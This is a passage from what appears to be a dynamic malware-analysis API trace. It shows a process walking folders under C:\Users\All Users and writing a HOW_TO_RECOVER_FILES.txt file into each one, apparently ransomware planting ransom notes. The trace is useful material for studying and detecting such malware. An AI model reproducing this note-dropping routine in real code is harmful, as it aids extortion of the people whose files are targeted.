dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.802] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25fe0337, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.802] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25fe0337, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0130.802] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0130.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0130.802] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0130.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0130.803] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_15.023.20070\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0130.804] GetFileType (hFile=0x630) returned 0x1 [0130.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0130.804] GetFileType (hFile=0x630) returned 0x1 [0130.804] WriteFile (in: hFile=0x630, lpBuffer=0x3797150*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3797150*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0130.812] CloseHandle (hObject=0x630) returned 1 [0130.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0130.813] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\S", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\S", lpFilePart=0x0) returned 0x1e [0130.813] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\S\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25fe0337, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.813] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.813] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0130.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0130.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0130.813] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\S", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\S", lpFilePart=0x0) returned 0x1e [0130.813] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\S\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.814] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.814] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25fe0337, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.814] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25fe0337, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x25fe0337, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0130.814] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0130.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0130.814] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\S\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\S\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x37 [0130.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0130.814] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\S\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\adobe\\arm\\s\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0130.815] GetFileType (hFile=0x630) returned 0x1 [0130.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0130.815] GetFileType (hFile=0x630) returned 0x1 [0130.815] WriteFile (in: hFile=0x630, lpBuffer=0x37a82b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x37a82b0*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0130.816] CloseHandle (hObject=0x630) returned 1 [0130.816] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x35 [0130.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0130.816] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\adobe\\arm\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0130.817] GetFileType (hFile=0x630) returned 0x1 [0130.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0130.817] GetFileType (hFile=0x630) returned 0x1 [0130.817] WriteFile (in: hFile=0x630, lpBuffer=0x37abad8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x37abad8*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0130.818] CloseHandle (hObject=0x630) returned 1 [0130.818] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fb650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x31 [0130.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbb70) returned 1 [0130.818] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\adobe\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0130.819] GetFileType (hFile=0x630) returned 0x1 [0130.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbae0) returned 1 [0130.819] GetFileType (hFile=0x630) returned 0x1 [0130.820] WriteFile (in: hFile=0x630, lpBuffer=0x37af2f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fbc38, lpOverlapped=0x0 | out: lpBuffer=0x37af2f0*, lpNumberOfBytesWritten=0x10fbc38*=0x5d0, lpOverlapped=0x0) returned 1 [0130.820] CloseHandle (hObject=0x630) returned 1 [0130.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0130.821] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Application Data", nBufferLength=0x105, lpBuffer=0x10fb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Application Data", lpFilePart=0x0) returned 0x23 [0130.821] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Application Data\\*", lpFindFileData=0x10fb920 | out: lpFindFileData=0x10fb920*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0130.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbbb0) returned 1 [0130.823] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Application Data\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fb650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Application Data\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0130.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbb70) returned 1 [0130.823] CreateFileW (lpFileName="C:\\Users\\All Users\\Application Data\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\application data\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0130.824] GetFileType (hFile=0x630) returned 0x1 [0130.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbae0) returned 1 [0130.824] GetFileType (hFile=0x630) returned 0x1 [0130.824] WriteFile (in: hFile=0x630, lpBuffer=0x37bf940*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fbc38, lpOverlapped=0x0 | out: lpBuffer=0x37bf940*, lpNumberOfBytesWritten=0x10fbc38*=0x5d0, lpOverlapped=0x0) returned 1 [0130.825] CloseHandle (hObject=0x630) returned 1 [0130.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0130.825] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Comms", nBufferLength=0x105, lpBuffer=0x10fb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Comms", lpFilePart=0x0) returned 0x18 [0130.825] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Comms\\*", lpFindFileData=0x10fb920 | out: lpFindFileData=0x10fb920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x262428de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.826] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x262428de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.826] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262428de, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x262428de, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x262428de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.826] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.826] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0130.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0130.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0130.826] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Comms", nBufferLength=0x105, lpBuffer=0x10fb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Comms", lpFilePart=0x0) returned 0x18 [0130.826] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Comms\\*", lpFindFileData=0x10fb920 | out: lpFindFileData=0x10fb920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x262428de, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x262428de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.826] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x262428de, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x262428de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.826] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262428de, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x262428de, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x262428de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.826] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262428de, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x262428de, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x262428de, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0130.827] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb40) returned 1 [0130.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbb00) returned 1 [0130.827] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Comms\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fb650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Comms\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x31 [0130.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbb70) returned 1 [0130.827] CreateFileW (lpFileName="C:\\Users\\All Users\\Comms\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\comms\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0130.828] GetFileType (hFile=0x630) returned 0x1 [0130.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbae0) returned 1 [0130.828] GetFileType (hFile=0x630) returned 0x1 [0130.828] WriteFile (in: hFile=0x630, lpBuffer=0x37d0918*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fbc38, lpOverlapped=0x0 | out: lpBuffer=0x37d0918*, lpNumberOfBytesWritten=0x10fbc38*=0x5d0, lpOverlapped=0x0) returned 1 [0130.829] CloseHandle (hObject=0x630) returned 1 [0130.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0130.829] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Desktop", nBufferLength=0x105, lpBuffer=0x10fb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Desktop", lpFilePart=0x0) returned 0x1a [0130.829] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Desktop\\*", lpFindFileData=0x10fb920 | out: lpFindFileData=0x10fb920*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0130.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbbb0) returned 1 [0130.831] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Desktop\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fb650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Desktop\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0130.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbb70) returned 1 [0130.831] CreateFileW (lpFileName="C:\\Users\\All Users\\Desktop\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\desktop\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0130.832] GetFileType (hFile=0x630) returned 0x1 [0130.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbae0) returned 1 [0130.833] GetFileType (hFile=0x630) returned 0x1 [0130.833] WriteFile (in: hFile=0x630, lpBuffer=0x37e0eb8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fbc38, lpOverlapped=0x0 | out: lpBuffer=0x37e0eb8*, lpNumberOfBytesWritten=0x10fbc38*=0x5d0, lpOverlapped=0x0) returned 1 [0130.833] CloseHandle (hObject=0x630) returned 1 [0130.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0130.834] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Documents", nBufferLength=0x105, lpBuffer=0x10fb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Documents", lpFilePart=0x0) returned 0x1c [0130.834] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Documents\\*", lpFindFileData=0x10fb920 | out: lpFindFileData=0x10fb920*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0130.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbbb0) returned 1 [0130.836] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Documents\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fb650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Documents\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x35 [0130.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbb70) returned 1 [0130.836] CreateFileW (lpFileName="C:\\Users\\All Users\\Documents\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\documents\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0130.837] GetFileType (hFile=0x630) returned 0x1 [0130.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fbae0) returned 1 [0130.837] GetFileType (hFile=0x630) returned 0x1 [0130.837] WriteFile (in: hFile=0x630, lpBuffer=0x37f1480*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fbc38, lpOverlapped=0x0 | out: lpBuffer=0x37f1480*, lpNumberOfBytesWritten=0x10fbc38*=0x5d0, lpOverlapped=0x0) returned 1 [0130.838] CloseHandle (hObject=0x630) returned 1 [0130.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0130.838] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft", nBufferLength=0x105, lpBuffer=0x10fb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft", lpFilePart=0x0) returned 0x1c [0130.838] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*", lpFindFileData=0x10fb920 | out: lpFindFileData=0x10fb920*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, 